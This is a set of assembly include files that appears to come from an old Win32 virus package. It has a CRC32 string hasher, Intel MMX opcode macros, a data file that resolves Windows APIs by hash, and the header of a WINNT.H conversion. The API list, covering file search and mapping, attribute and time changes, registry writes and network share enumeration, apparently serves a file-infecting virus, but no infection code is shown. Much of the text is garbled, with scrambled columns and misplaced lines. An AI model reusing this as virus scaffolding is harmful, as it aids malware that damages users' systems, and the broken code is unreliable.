;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ;Û CRC32 computer for strings Û ;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ StringCRC32 proc near ; Input : ESI = address of 0 terminated string to calculate CRC32 for ; Output: EAX = CRC32 ; From Prizzy's Crypto the idea of a string dedicated CRC32er ; ; ; CRC32_next_byte: ; lodsb ; or al, al ; jz CRC32_finish ; xor dl, al ; mov al, 08h ; ; CRC32_next_bit: ; shr edx, 01h ; jnc CRC32_no_change ; xor edx, mCRC32 ; ; CRC32_no_change: ; dec al ; jnz CRC32_next_bit ; jmp CRC32_next_byte ; ; CRC32_finish: ; xchg eax, edx ; pop edx ; ret ; StringCRC32 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ ;**************************************************************************** ;* * ;* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY * ;* KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE * ;* IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR * ;* PURPOSE. * ;* * push edx mov edx, mCRC32_init

;* Copyright (C) 1997 Intel Corporation. All Rights Reserved. * ;* * ;**************************************************************************** MMWORD TEXTEQU opc_Rdpmc = opc_Emms = opc_Movd_ld = opc_Movd_st = opc_Movq_ld = opc_Movq_st = opc_Packssdw = opc_Packsswb = opc_Packuswb = opc_Paddb = opc_Paddd = opc_Paddsb = opc_Paddsw = opc_Paddusb = opc_Paddusw = opc_Paddw = opc_Pand = opc_Pandn = opc_Pcmpeqb = opc_Pcmpeqd = opc_Pcmpeqw = opc_Pcmpgtb = opc_Pcmpgtd = opc_Pcmpgtw = opc_Pmaddwd = opc_Pmulhw = opc_Pmullw = opc_Por = opc_PSHimd = opc_PSHimq = opc_PSHimw = opc_Pslld = opc_Psllq = opc_Psllw = opc_Psrad = opc_Psraw = opc_Psrld = opc_Psrlq = opc_Psrlw = opc_Psubb = opc_Psubd = opc_Psubsb = opc_Psubsw = opc_Psubusb = opc_Psubusw = opc_Psubw = opc_Punpcklbw = opc_Punpckldq = opc_Punpcklwd = opc_Punpckhbw = opc_Punpckhdq = opc_Punpckhwd = opc_Pxor = .486P <DWORD> 033H 077H 06EH 07EH 06FH 07FH 06BH 063H 067H 0FCH 0FEH 0ECH 0EDH 0DCH 0DDH 0FDH 0DBH 0DFH 074H 076H 075H 064H 066H 065H 0F5H 0E5H 0D5H 0EBH 072H 073H 071H 0F2H 0F3H 0F1H 0E2H 0E1H 0D2H 0D3H 0D1H 0F8H 0FAH 0E8H 0E9H 0D8H 0D9H 0F9H 060H 062H 061H 068H 06AH 069H 0EFH

; ALIAS R# to MM# registers

DefineMMxRegs Macro IFDEF APP_16BIT MM0 TEXTEQU MM1 TEXTEQU MM2 TEXTEQU MM3 TEXTEQU MM4 TEXTEQU MM5 TEXTEQU MM6 TEXTEQU MM7 TEXTEQU mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 Mm0 Mm1 Mm2 Mm3 Mm4 Mm5 Mm6 Mm7 mM0 mM1 mM2 mM3 mM4 mM5 mM6 mM7 ELSE MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 Mm0 Mm1 Mm2 Mm3 Mm4 TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU

<AX> <CX> <DX> <BX> <SP> <BP> <SI> <DI> <AX> <CX> <DX> <BX> <SP> <BP> <SI> <DI> <AX> <CX> <DX> <BX> <SP> <BP> <SI> <DI> <AX> <CX> <DX> <BX> <SP> <BP> <SI> <DI>

<EAX> <ECX> <EDX> <EBX> <ESP> <EBP> <ESI> <EDI> <EAX> <ECX> <EDX> <EBX> <ESP> <EBP> <ESI> <EDI> <EAX> <ECX> <EDX> <EBX> <ESP>

Mm5 Mm6 Mm7 mM0 mM1 mM2 mM3 mM4 mM5 mM6 mM7 ENDIF EndM

TEXTEQU <EBP> TEXTEQU <ESI> TEXTEQU <EDI> TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU <EAX> <ECX> <EDX> <EBX> <ESP> <EBP> <ESI> <EDI>

; ALIAS R# to MM# registers DefineMMxNUM Macro MM0 TEXTEQU <0> MM1 TEXTEQU <0> MM2 TEXTEQU <0> MM3 TEXTEQU <0> MM4 TEXTEQU <0> MM5 TEXTEQU <0> MM6 TEXTEQU <0> MM7 TEXTEQU <0> mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 Mm0 Mm1 Mm2 Mm3 Mm4 Mm5 Mm6 Mm7 mM0 mM1 mM2 mM3 mM4 mM5 mM6 mM7 EndM TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0> <0>

UnDefineMMxRegs MM0 MM1 MM2 MM3 MM4 MM5

Macro TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU

<MM0> <MM1> <MM2> <MM3> <MM4> <MM5>

MM6 MM7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 Mm0 Mm1 Mm2 Mm3 Mm4 Mm5 Mm6 Mm7 mM0 mM1 mM2 mM3 mM4 mM5 mM6 mM7 EndM

TEXTEQU <MM6> TEXTEQU <MM7> TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU TEXTEQU <mm0> <mm1> <mm2> <mm3> <mm4> <mm5> <mm6> <mm7> <Mm0> <Mm1> <Mm2> <Mm3> <Mm4> <Mm5> <Mm6> <Mm7> <mM0> <mM1> <mM2> <mM3> <mM4> <mM5> <mM6> <mM7>

rdpmc db endm emms endm

macro 0fh, opc_Rdpmc

macro db

0fh, opc_Emms

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movd1 macro dst:req, src:req ; MMX->EXX local x, y DefineMMxNUM DefineMMxRegs x: cmpxchg dst, src y: org x+1 byte opc_Movd_st org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movd2 macro dst:req, src:req ; MEM || EXX || MMX -> MMX local x, y DefineMMxNUM DefineMMxRegs x: cmpxchg src, dst y: org x+1

byte org endm

opc_Movd_ld y UnDefineMMxRegs

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movd3 macro dst:req, src:req ; MMX -> MEM local x, y DefineMMxNUM DefineMMxRegs x: cmpxchg dst, src y: org x+1 byte opc_Movd_st org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movdt macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Movd_ld y UnDefineMMxRegs

x: cmpxchg y: org byte org endm movdf macro local dst:req, src:req x, y DefineMMxRegs dst, src x+1 opc_Movd_st y UnDefineMMxRegs

x: cmpxchg y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq1 macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Movq_ld org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; movq2 macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg dst, src

y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; packssdw macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Packssdw org y UnDefineMMxRegs endm packsswb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm packuswb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm paddd macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Paddd y UnDefineMMxRegs x+1 opc_Packuswb y UnDefineMMxRegs src, dst x+1 opc_Packsswb y UnDefineMMxRegs src, dst x+1 opc_Movq_st y UnDefineMMxRegs

x:

x:

x: cmpxchg y: org byte org endm paddsb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org x+1 src, dst

x:

byte org endm paddsw

opc_Paddsb y UnDefineMMxRegs

macro dst:req, src:req local x, y DefineMMxRegs cmpxchg src, dst x+1 opc_Paddsw y UnDefineMMxRegs

x: y: org byte org endm paddusb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm paddusw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm paddb macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Paddb y UnDefineMMxRegs x+1 opc_Paddusw y UnDefineMMxRegs src, dst x+1 opc_Paddusb y UnDefineMMxRegs src, dst

x:

x:

x: cmpxchg y: org byte org endm paddw macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Paddw y UnDefineMMxRegs

x: cmpxchg y: org byte org

endm pand macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Pand y UnDefineMMxRegs

x: cmpxchg y: org byte org endm pandn macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Pandn y UnDefineMMxRegs

x: cmpxchg y: org byte org endm pcmpeqb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pcmpeqd macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pcmpeqw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pcmpgtb macro dst:req, src:req x+1 opc_Pcmpeqw y UnDefineMMxRegs src, dst x+1 opc_Pcmpeqd y UnDefineMMxRegs src, dst x+1 opc_Pcmpeqb y UnDefineMMxRegs src, dst

x:

x:

x:

local x: cmpxchg y: org byte org endm pcmpgtd

x, y DefineMMxRegs src, dst x+1 opc_Pcmpgtb y UnDefineMMxRegs

macro dst:req, src:req local x, y DefineMMxRegs cmpxchg src, dst x+1 opc_Pcmpgtd y UnDefineMMxRegs

x: y: org byte org endm pcmpgtw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pmaddwd macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pmulhw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm pmullw macro dst:req, src:req local x, y DefineMMxRegs x+1 opc_Pmulhw y UnDefineMMxRegs src, dst x+1 opc_Pmaddwd y UnDefineMMxRegs src, dst x+1 opc_Pcmpgtw y UnDefineMMxRegs src, dst

x:

x:

x:

x:

cmpxchg y: org byte org endm por macro local

src, dst x+1 opc_Pmullw y UnDefineMMxRegs

dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Por y UnDefineMMxRegs

x: cmpxchg y: org byte org endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; pslld1 macro dst:req, src:req ;; constant local x, y DefineMMxRegs x: btr dst, src y: org x+1 byte opc_PSHimd org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; pslld2 macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Pslld org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psllw1

macro dst:req, src:req local x, y DefineMMxRegs btr dst, src x+1 opc_PSHimw y UnDefineMMxRegs

x: y: org byte org

endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psllw2 macro dst:req, src:req local x, y

DefineMMxRegs x: cmpxchg y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; x+1 opc_Psllw y UnDefineMMxRegs src, dst

psrad1

macro dst:req, src:req local x, y DefineMMxRegs bt dst, src x+1 opc_PSHimd y UnDefineMMxRegs

;;immediate

x: y: org byte org

endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrad2 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psraw1 macro dst:req, src:req local x, y DefineMMxRegs bt y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psraw2 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org x+1 opc_Psraw y src, dst x+1 opc_PSHimw y UnDefineMMxRegs dst, src x+1 opc_Psrad y UnDefineMMxRegs src, dst

x:

x:

x:

UnDefineMMxRegs endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrld1 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg dst,MM2 byte src y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrld2 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrlq1 macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg dst,MM2 byte src y: org x+1 byte opc_PSHimq org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrlq2 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm x+1 opc_Psrlq y UnDefineMMxRegs src, dst x+1 opc_Psrld y UnDefineMMxRegs src, dst x+1 opc_PSHimd y UnDefineMMxRegs

x:

x:

x:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

psllq1

macro dst:req, src:req local x, y DefineMMxRegs btr dst, src x+1 opc_PSHimq y UnDefineMMxRegs

x: y: org byte org endm

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psllq2 macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Psllq org y UnDefineMMxRegs endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrlw1 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg dst,MM2 byte src y: org byte org endm x+1 opc_PSHimw y UnDefineMMxRegs

x:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psrlw2 macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; psubsb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg src, dst x+1 opc_Psrlw y UnDefineMMxRegs src, dst

x:

x:

y: org byte org endm psubsw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm psubusb macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm psubusw macro dst:req, src:req local x, y DefineMMxRegs cmpxchg y: org byte org endm psubb macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Psubb y UnDefineMMxRegs x+1 opc_Psubusw y UnDefineMMxRegs src, dst x+1 opc_Psubusb y UnDefineMMxRegs src, dst x+1 opc_Psubsw y UnDefineMMxRegs src, dst x+1 opc_Psubsb y UnDefineMMxRegs

x:

x:

x:

x: cmpxchg y: org byte org endm psubw macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Psubw

x: cmpxchg y: org byte

org endm

y UnDefineMMxRegs

punpcklbw macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpcklbw org y UnDefineMMxRegs endm punpckhdq macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpckhdq org y UnDefineMMxRegs endm punpcklwd macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpcklwd org y UnDefineMMxRegs endm punpckhbw macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpckhbw org y UnDefineMMxRegs endm punpckldq macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpckldq org y UnDefineMMxRegs endm

punpckhwd macro dst:req, src:req local x, y DefineMMxRegs x: cmpxchg src, dst y: org x+1 byte opc_Punpckhwd org y UnDefineMMxRegs endm pxor macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Pxor y UnDefineMMxRegs

x: cmpxchg y: org byte org endm psubd macro local dst:req, src:req x, y DefineMMxRegs src, dst x+1 opc_Psubd y UnDefineMMxRegs

x: cmpxchg y: org byte org

endm ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ module_names label kernel32_name: noter <KERNEL32.dll> advapi32_name: noter <ADVAPI32.dll> user32_name: noter <USER32.dll> gdi32_name: noter <GDI32.dll> img32_name: noter <IMAGEHLP.dll> mpr32_name: noter <MPR.dll> module_names_length = $-offset module_names k32 dd 0 a32 dd 0 u32 dd 0 g32 dd 0 m32 dd 0 getmodulehandle: noter <GetModuleHandleA> getmodulehandlelen = $-offset getmodulehandle ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ kernel32apis label crc32 <LoadLibraryA> crc32 <GetProcAddress> crc32 <ExitProcess> crc32 <CreateThread> crc32 <ExitThread> crc32 <SuspendThread>

crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 crc32 dd 0

<ResumeThread> <SetThreadPriority> <WaitForSingleObject> <WaitForMultipleObjects> <WaitForMultipleObjectsEx> <CreateFileA> <CreateFileMappingA> <MapViewOfFile> <UnmapViewOfFile> <CloseHandle> <GetFileAttributesA> <GetFileAttributesExA> <SetFileAttributesA> <GetFileTime> <SetFileTime> <SetFilePointer> <SetEndOfFile> <DeleteFileA> <FindFirstFileA> <FindNextFileA> <FindClose> <lstrlen> <lstrcpy> <lstrcat> <GetSystemDirectoryA> <GetWindowsDirectoryA> <GetCurrentDirectoryA> <SetCurrentDirectoryA> <GetSystemTime> <GetTickCount> <IsBadReadPtr> <CreateSemaphoreA> <ReleaseSemaphore> <MoveFileA> <MoveFileExA> <OpenFile> <CreateProcessA> <WinExec> <CopyFileA> <CopyFileExA> <GetFullPathNameA> <GetCompressedFileSizeA> <GetDriveTypeA> <GetVersionExA> <VirtualAlloc> <FatalAppExitA> <GetFileSize> <IsBadWritePtr> <GetModuleHandleA> <Sleep> <GlobalAlloc> <GlobalFree> <GetModuleFileNameA> <WritePrivateProfileStringA>

kernel32addr label _LoadLibraryA _GetProcAddress _ExitProcess _CreateThread _ExitThread _SuspendThread

dd dd dd dd dd dd

0 0 0 0 0 0

_ResumeThread dd 0 _SetThreadPriority dd 0 _WaitForSingleObject dd 0 _WaitForMultipleObjects dd 0 _WaitForMultipleObjectsEx dd 0 _CreateFileA dd 0 _CreateFileMappingA dd 0 _MapViewOfFile dd 0 _UnmapViewOfFile dd 0 _CloseHandle dd 0 _GetFileAttributesA dd 0 _GetFileAttributesExA dd 0 _SetFileAttributesA dd 0 _GetFileTime dd 0 _SetFileTime dd 0 _SetFilePointer dd 0 _SetEndOfFile dd 0 _DeleteFileA dd 0 _FindFirstFileA dd 0 _FindNextFileA dd 0 _FindClose dd 0 _lstrlen dd 0 _lstrcpy dd 0 _lstrcat dd 0 _GetSystemDirectoryA dd 0 _GetWindowsDirectoryA dd 0 _GetCurrentDirectoryA dd 0 _SetCurrentDirectoryA dd 0 _GetSystemTime dd 0 _GetTickCount dd 0 _IsBadReadPtr dd 0 _CreateSemaphoreA dd 0 _ReleaseSemaphore dd 0 _MoveFileA dd 0 _MoveFileExA dd 0 _OpenFile dd 0 _CreateProcessA dd 0 _WinExec dd 0 _CopyFileA dd 0 _CopyFileExA dd 0 _GetFullPathNameA dd 0 _GetCompressedFileSizeA dd 0 _GetDriveTypeA dd 0 _GetVersionExA dd 0 _VirtualAlloc dd 0 _FatalAppExitA dd 0 _GetFileSize dd 0 _IsBadWritePtr dd 0 _GetModuleHandleA dd 0 _Sleep dd 0 _GlobalAlloc dd 0 _GlobalFree dd 0 _GetModuleFileNameA dd 0 _WritePrivateProfileStringA dd 0 kernel32func = ($-offset kernel32addr)/4 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ advapi32apis label crc32 <RegOpenKeyExA> crc32 <RegQueryValueExA> crc32 <RegQueryInfoKeyA> crc32 <RegEnumValueA> crc32 <RegSetValueExA> crc32 <RegCreateKeyExA>

crc32 <RegCloseKey> dd 0 advapi32addr label _RegOpenKeyExA _RegQueryValueExA _RegQueryInfoKeyA _RegEnumValueA _RegSetValueExA _RegCreateKeyExA _RegCloseKey

dd dd dd dd dd dd dd

0 0 0 0 0 0 0

advapi32func = ($-offset advapi32addr)/4 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ user32apis label crc32 <SetTimer> crc32 <KillTimer> crc32 <FindWindowA> crc32 <PostMessageA> crc32 <MessageBoxA> crc32 <CharUpperBuffA> crc32 <LoadIconA> crc32 <LoadCursorA> crc32 <GetWindowDC> crc32 <GetClientRect> crc32 <BeginPaint> crc32 <EndPaint> crc32 <GetSystemMetrics> crc32 <GetDC> crc32 <InvalidateRect> crc32 <ShowWindow> crc32 <UpdateWindow> crc32 <GetMessageA> crc32 <TranslateMessage> crc32 <DispatchMessageA> crc32 <PostQuitMessage> crc32 <DefWindowProcA> crc32 <RegisterClassExA> crc32 <CreateWindowExA> crc32 <DestroyWindow> dd 0 user32addr label _SetTimer _KillTimer _FindWindowA _PostMessageA _MessageBoxA _CharUpperBuffA _LoadIconA _LoadCursorA _GetWindowDC _GetClientRect _BeginPaint _EndPaint _GetSystemMetrics _GetDC _InvalidateRect _ShowWindow _UpdateWindow _GetMessageA _TranslateMessage _DispatchMessageA

dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

_PostQuitMessage dd 0 _DefWindowProcA dd 0 _RegisterClassExA dd 0 _CreateWindowExA dd 0 _DestroyWindow dd 0 user32func = ($-offset user32addr)/4 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ gdi32apis label crc32 <GetStockObject> crc32 <GetCharWidthA> crc32 <TextOutA> crc32 <GetTextMetricsA> gdi32addr label _GetStockObject dd 0 _GetCharWidthA dd 0 _TextOutA dd 0 _GetTextMetricsA dd 0 gdi32func = ($-offset gdi32addr)/4 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mpr32apis label crc32 <WNetOpenEnumA> crc32 <WNetEnumResourceA> crc32 <WNetCloseEnum> mpr32addr label _WNetOpenEnumA dd 0 _WNetEnumResourceA dd 0 _WNetCloseEnum dd 0 mpr32func = ($-offset mpr32addr)/4 ;-----ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32NT_LJ.INC]ÄÄÄ comment $ Lord Julus presents the Win32 help series ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄ¿ ÚÄ¿ ³ ³ This is my transformation of the original WINNT.H ³ ³ ³ ³ file from the Microsoft Windows SDK(C) for Windows NT 5.0 ³ ³ ³ ³ beta 2 and Windows 98, released on in Sept. 1998. ³ ³ ³ ³ This file was transformed by me from the original C ³ ³ ³ ³ definition into assembly language. You can use this file to ³ ³ ³ ³ quicken up writting your win32 programs in assembler. You ³ ³ ³ ³ can use these files as you wish, as they are freeware. ³ ³ ³ ³ ³ ³ ³ ³ However, if you find any mistake inside this file, ³ ³ ³ ³ it is probably due to the fact that I merely could see the ³ ³ ³ ³ monitor while converting the files. So, if you do notice ³ ³ ³ ³ something, please notify me on my e-mail address at: ³ ³ ³ ³ ³ ³ ³ ³ lordjulus@geocities.com ³ ³ ³ ³ ³ ³ ³ ³ Also, if you find any other useful stuff that can be ³ ³ ³ ³ included here, do not hesitate to tell me. ³ ³ ³ ³ ³ ³ ³ ³ Good luck, ³ ³ ³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ ³ ³ ³ Lord Julus (c) 1999 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³ ³ ³ ³ ³ ÀÄÙ ÀÄÙ 